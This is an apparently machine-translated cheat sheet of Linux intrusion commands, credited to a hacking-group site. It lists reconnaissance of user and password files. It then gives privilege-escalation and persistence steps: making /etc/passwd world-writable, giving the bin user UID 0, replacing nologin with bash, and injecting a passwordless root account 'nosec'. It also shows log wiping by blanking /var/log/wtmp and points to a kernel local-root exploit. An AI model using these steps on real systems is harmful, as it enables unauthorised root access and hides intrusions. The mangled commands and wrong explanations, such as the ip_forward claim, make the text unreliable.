Collect common Linux intrusion commands

CAT/etc/passwd view Linux Users
Root permission is required for CAT/etc/shadow to view user passwords
CAT/etc/sysconfig/network-scripts/ifcfg-ethn n indicates the network card number to view the IP address of the network card.
Ifconfig
CAT/etc/resolv. conf view DNS information
Bash-I can intuitively display commands in the reverse shell.
Bash prompt: When you enter as a normal restricted user, you usually have a prompt similar to bash $. When you log in as root, your prompt will become
Bash #.
System variable: Try echo "$ user/$ EUID" and the system will tell you what user it thinks you are.
Echo 1>/proc/sys/NET/IPv4/if_forward is wrong, it should be Echo 1>/proc/sys/NET/IPv4/ip_forward,
Vim/proc/sys/NET/IPv4/ip_forward. The default value is 0. That is, the kernel does not filter data packets and changes it to 1 to let the kernel filter data packets!
Netstat-an | grep listen | grep: 80 view port
Service -- Status-All | grep running

Service -- Status-All | grep HTTP
View running services
Lsb_release-a view the system version
Restart the SSH service:/usr/sbin/sshd stop
/Usr/sbin/sshd start
In the ssd_config File
Passwordauthentication no,
Change it
Passwordauthentication Yes
Remote SSH Login
Otherwise, Access Denied is displayed.

Usepam Yes may be used to establish the PAM login method, for example, from other Linux Hosts SSH to the server. If it is disabled, it cannot be enabled.

Su's cainiao usage
Chomod 777/etc/passwd first
Then, modify the GID and uid of the bin user to 0.
Then passwd sets the bin password.
Then CP/bin/bash/sbin/nologin
Then, the Su-bin can be used to access the rootshell.
This principle is that when SSH does not allow the root user to log on to the SSH terminal, we do not know the root password.
You can also
Sed-I s/bin: X: 1: 1/bin: X: 0: 1/G/etc/passwd

GCC prtcl2.c-o local-static-wall

Echo "nosec: X: 0: 0: //:/bin/sh">/etc/passwd
Echo "nosec:-1:-1:-1:-1:-1:-1:-">/etc/shadow

Clear the last record CP/dev/null/var/log/wtmp
-----
Dd If =/dev/Zero of = Yourfile BS = 10 m COUNT = 10 create a large M file using Linux kernel <= 2.6.17.4 (Proc) local Root Exploit

From the red black guest Union (www.7747.net) Original: http://www.7747.net/Article/200906/39788.html